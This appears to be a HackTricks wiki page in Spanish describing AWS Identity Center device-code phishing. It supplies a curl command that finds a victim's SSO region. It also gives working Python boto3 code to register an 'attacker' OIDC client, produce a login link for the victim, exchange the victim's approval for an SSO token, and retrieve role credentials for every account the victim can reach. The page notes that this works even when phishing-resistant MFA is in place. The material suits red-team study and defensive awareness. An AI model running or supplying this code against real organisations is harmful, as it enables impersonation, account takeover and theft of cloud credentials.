AWS - Identity Center & SSO Unauthenticated Enum

Aprende hacking en AWS de cero a héroe con htARTE (Experto en Equipos Rojos de HackTricks en AWS)!

Otras formas de apoyar a HackTricks:

Phishing de Código de Dispositivo de AWS

Inicialmente propuesto en esta publicación de blog, es posible enviar un enlace a un usuario utilizando AWS SSO que, si el usuario acepta, el atacante podrá obtener un token para suplantar al usuario y acceder a todos los roles a los que el usuario puede acceder en el Centro de Identidad.

Para llevar a cabo este ataque, los requisitos son:

  • La víctima necesita usar el Centro de Identidad

  • El atacante debe conocer el subdominio utilizado por la víctima <subdominiovictima>.awsapps.com/start

Solo con esta información previa, el atacante podrá enviar un enlace al usuario que, si es aceptado, otorgará al atacante acceso a la cuenta de usuario de AWS.

Ataque

  1. Encontrar el subdominio

El primer paso del atacante es descubrir el subdominio que la empresa víctima está utilizando en su Centro de Identidad. Esto se puede hacer a través de OSINT o adivinando + BF ya que la mayoría de las empresas estarán utilizando su nombre o una variación de su nombre aquí.

Con esta información, es posible obtener la región donde se configuró el Centro de Identidad:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Generar el enlace para la víctima y enviarlo

Ejecuta el siguiente código para generar un enlace de inicio de sesión de AWS SSO para que la víctima pueda autenticarse. Para la demostración, ejecuta este código en una consola de Python y no la cierres, ya que más adelante necesitarás algunos objetos para obtener el token:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
  1. Espera a que la víctima lo acepte

Si la víctima ya estaba logueada en AWS, solo necesitará aceptar otorgar los permisos, si no lo estaba, necesitará iniciar sesión y luego aceptar otorgar los permisos. Así es como se ve el mensaje en la actualidad:

  1. Obtener el token de acceso SSO

Si la víctima aceptó el mensaje, ejecuta este código para generar un token SSO suplantando al usuario:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

El token de acceso SSO es válido por 8 horas.

  1. Suplantar al usuario

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Suplantación de identidad en el MFA inquebrantable

Es interesante saber que el ataque anterior funciona incluso si se está utilizando un "MFA inquebrantable" (webAuth). Esto se debe a que el flujo de trabajo anterior nunca abandona el dominio OAuth utilizado. A diferencia de otros ataques de phishing donde el usuario necesita suplantar el dominio de inicio de sesión, en este caso el flujo de trabajo del código de dispositivo está preparado para que un código sea conocido por un dispositivo y el usuario pueda iniciar sesión incluso en una máquina diferente. Si se acepta la solicitud, el dispositivo, solo con conocer el código inicial, podrá recuperar las credenciales del usuario.

Para obtener más información sobre esto, consulte esta publicación.

Herramientas Automáticas

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización